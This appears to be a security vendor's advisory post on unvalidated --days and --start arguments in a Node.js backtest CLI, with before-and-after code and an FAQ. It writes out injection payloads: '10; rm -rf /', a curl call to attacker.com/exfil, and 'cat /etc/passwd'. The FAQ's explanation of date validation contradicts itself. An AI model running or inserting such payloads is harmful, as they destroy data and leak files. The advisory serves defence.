Back to Blog
critical SEVERITY4 min read

backtest.js CLI args: Unvalidated --days and --start Options

The backtest.js command-line tool accepted --days and --start arguments without validation, creating a command injection vector when the script is invoked by upstream processes with untrusted input. The fix adds strict input validation: --days must be a positive integer ≤ 3650, and --start must match the YYYY-MM-DD date format.

O
By Orbis AppSec
•Published September 25, 2026•Reviewed September 25, 2026

Answer Summary

The backtest CLI in affected versions parses --days and --start command-line arguments without validation. An attacker who can influence these arguments through an upstream process can inject shell metacharacters to execute arbitrary commands. The fix adds strict validation: numeric range checks for --days and regex date validation for --start. This vulnerability is classified as CWE-78 (OS Command Injection).

Vulnerability at a Glance

cweCWE-78
fixStrict validation with regex patterns and numeric range checks
riskArbitrary command execution when CLI is invoked with untrusted input
languageJavaScript (Node.js)
root causeDirect use of unvalidated CLI arguments without input sanitization
vulnerabilityCommand Injection

Affected Versions

Affected not applicable (first-party code)
Fixed in commit with input validation for --days and --start
Ecosystem N/A
CVE / GHSA not assigned
CWE CWE-78 (OS Command Injection)

Introduction

A critical command injection vulnerability existed in the backtest CLI's argument parsing logic. The tool's main() function processes --days and --start options by directly assigning command-line arguments to internal options without validation:

if (args[i] === '--days' && args[i + 1]) options.days = parseInt(args[i + 1]);
if (args[i] === '--start' && args[i + 1]) options.start = args[i + 1];

While the current implementation doesn't directly pass these values to shell execution functions, the lack of input validation creates a vulnerability when the script is invoked by upstream processes with untrusted input. An attacker who can influence these arguments can inject shell metacharacters, leading to arbitrary command execution.

The Vulnerability Explained

The vulnerable code accepted raw string input for --days and --start parameters:

for (let i = 0; i < args.length; i++) {
  if (args[i] === '--days' && args[i + 1]) options.days = parseInt(args[i + 1]);
  if (args[i] === '--start' && args[i + 1]) options.start = args[i + 1];

The parseInt() call on --days is particularly deceptive—it provides false confidence. While it converts "10" to 10, it also silently accepts "10; rm -rf /" as 10, discarding the malicious payload without actually neutralizing it. If options.days or options.start are later concatenated into shell commands or passed to execution functions, the original malicious strings can resurface.

The --start parameter is even more dangerous: it receives the raw argument string with no transformation whatsoever. A value like "2024-01-01; curl attacker.com/exfil" passes straight through to options.start.

Attack Scenario

Consider a web application that exposes backtest functionality through an API endpoint. The application might construct a CLI invocation like:

const { execSync } = require('child_process');
execSync(`node backtest.js --days ${userInput.days} --start ${userInput.start}`);

An attacker submitting {"days": "7; cat /etc/passwd", "start": "2024-01-01"} would execute arbitrary commands. Even without execSync in the immediate code, if options.days or options.start flow into any subprocess call, file operation, or database query, the injection propagates.

The Fix

The fix replaces blind assignment with strict validation for both parameters:

Before:

if (args[i] === '--days' && args[i + 1]) options.days = parseInt(args[i + 1]);
if (args[i] === '--start' && args[i + 1]) options.start = args[i + 1];

After:

if (args[i] === '--days' && args[i + 1]) {
  const days = parseInt(args[i + 1], 10);
  if (!Number.isInteger(days) || days <= 0 || days > 3650) {
    console.error('Invalid --days value: must be a positive integer (<= 3650)');
    process.exit(1);
  }
  options.days = days;
}
if (args[i] === '--start' && args[i + 1]) {
  const start = args[i + 1];
  if (!/^\d{4}-\d{2}-\d{2}$/.test(start) || isNaN(new Date(start).getTime())) {
    console.error('Invalid --start value: expected date format YYYY-MM-DD');
    process.exit(1);
  }
  options.start = start;
}

The --days validation uses parseInt() with radix 10 to prevent octal interpretation, then verifies the result with Number.isInteger() and bounds checking (1-3650). This rejects not only non-numeric input but also unreasonably large values that might indicate attack attempts.

The --start validation combines a strict regex /^\d{4}-\d{2}-\d{2}$/ with Date parsing. The regex alone isn't sufficient—"2024-99-99" matches the pattern—so the isNaN(new Date(start).getTime()) check ensures the date actually exists on the calendar.

Both validations terminate the process with a clear error message rather than silently truncating or accepting dangerous input.

Key Takeaways

  • parseInt() is not validation: It extracts leading digits and ignores the rest, making "10; rm -rf /" appear safe when it's anything but. Always validate the complete input string before conversion.

  • Regex patterns need semantic verification: A format regex for dates (\d{4}-\d{2}-\d{2}) doesn't guarantee a valid date. Combine pattern matching with semantic validation (like Date parsing) for security-critical inputs.

  • CLI tools are attack surfaces even without direct shell calls: Input validation belongs at the trust boundary, regardless of whether the immediate code executes shell commands. Data flows change, and assumptions about "safe" usage break.

  • Fail closed with explicit error messages: The fix uses process.exit(1) with descriptive errors rather than continuing with sanitized or default values. This prevents ambiguous states and alerts operators to potential attacks.

How Orbis AppSec Detected This

Source: The args array from process.argv, specifically the values following --days and --start command-line flags

Sink: Potential downstream use in subprocess execution or shell command construction (the vulnerability exists in the lack of validation that would prevent injection if the parsed options are passed to execution functions)

Missing control: No input validation, format checking, or sanitization of CLI arguments before assignment to options.days and options.start

CWE: CWE-78 (OS Command Injection) — improper neutralization of special elements used in an OS command

Fix: Added strict validation with numeric range checks for --days and regex-plus-date-verification for --start, with explicit process termination on validation failure

Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.

Conclusion

This vulnerability demonstrates that command injection risks extend beyond obvious exec() and system() calls. Any code path that accepts untrusted input without validation becomes dangerous when that data might reach execution contexts—even indirectly, even in the future. The backtest.js fix shows the defense: validate early, validate strictly, and fail noisily when input doesn't match expectations.

Prevention and further reading

Frequently Asked Questions

Why does the fix validate --days with both parseInt() and Number.isInteger() instead of just using a regex?

parseInt() alone accepts "10abc" as 10, silently ignoring trailing characters. The combination of parseInt() with Number.isInteger() and explicit range bounds (1-3650) ensures only valid, bounded integers pass validation, rejecting both malformed input and out-of-range values that could indicate attack attempts.

What happens if I pass a valid-looking date like "2024-99-99" to --start?

The regex /^\d{4}-\d{2}-\d{2}$/ accepts the format, but the subsequent isNaN(new Date(start).getTime()) check catches invalid dates. The new Date() constructor interprets "2024-99-99" as overflow months/days, producing a valid timestamp for a different date, but isNaN() correctly identifies when the original string doesn't represent a real calendar date.

Does the --verbose / -v flag or --conservative option have similar validation issues?

No. The --verbose flag is a boolean toggle with no argument, and --conservative modifies a CONFIG value directly without passing to shell execution. Only --days and --start, which accept string arguments that could contain shell metacharacters, required validation to prevent command injection through upstream process invocation.

View the Security Fix

Check out the pull request that fixed this vulnerability

View PR #8

Related Articles

critical

Tauri type_text() Command Injection via Control Characters in

The type_text() system command handler in Tauri accepted arbitrary text up to 2000 UTF-16 characters without validating content, allowing injection of control characters that SendInput's Unicode path interprets as real key presses. An attacker could inject newline, escape, or tab characters to trigger actions in the focused window beyond mere text typing.

high

runStreaming() Command Injection: Defense-in-Depth for Electron Child

An Electron application's `runStreaming()` utility accepted a command string and argument array without validating either, creating a latent command injection vector. The fix adds strict type checking and a whitelist regex that rejects shell metacharacters, bounding the failure mode even if caller input becomes attacker-influenced.

critical

docker_rpc.uc Command Injection: Unsanitized RPC Parameters

A critical command injection vulnerability in the Docker RPC handler allowed authenticated attackers to execute arbitrary system commands by injecting shell metacharacters into container ID, port, user ID, or command parameters. The fix validates all user-supplied inputs against strict whitelist patterns before interpolating them into shell commands.

critical

{sample} Placeholder in shlex.split() Lets Filenames Inject Args

A protocol replay-check CLI built its subprocess argument list by calling `str.format()` on a user-supplied `--command` template and then handing the result to `shlex.split()`, so a sample filename containing spaces, quotes, or shell metacharacters could split into extra argv entries — or execute as shell code when the template wrapped the placeholder in `sh -c`. The fix wraps the interpolated path in `shlex.quote()` before formatting, so the path always survives `shlex.split()` as a single toke

high

package_abridge.js Command Injection via Unsanitized CLI Arguments

A high-severity command injection vulnerability in a build script allowed attackers who control CLI arguments to execute arbitrary shell commands by injecting metacharacters into an unvalidated parameter. The fix validates incoming CLI arguments and rejects those containing dangerous shell metacharacters before they reach command execution.

critical

Yandex Translate API Key Leaked via URL Query Parameter

The `translateYandex()` helper built its request URL by interpolating the caller-supplied API key directly into the query string, meaning every call leaked the credential into server access logs, proxy logs, and any Referer header sent by intermediaries. The fix switches the request from a GET with the key in the URL to a POST with the key in the request body via `URLSearchParams`, removing the credential from any URL-logging surface entirely.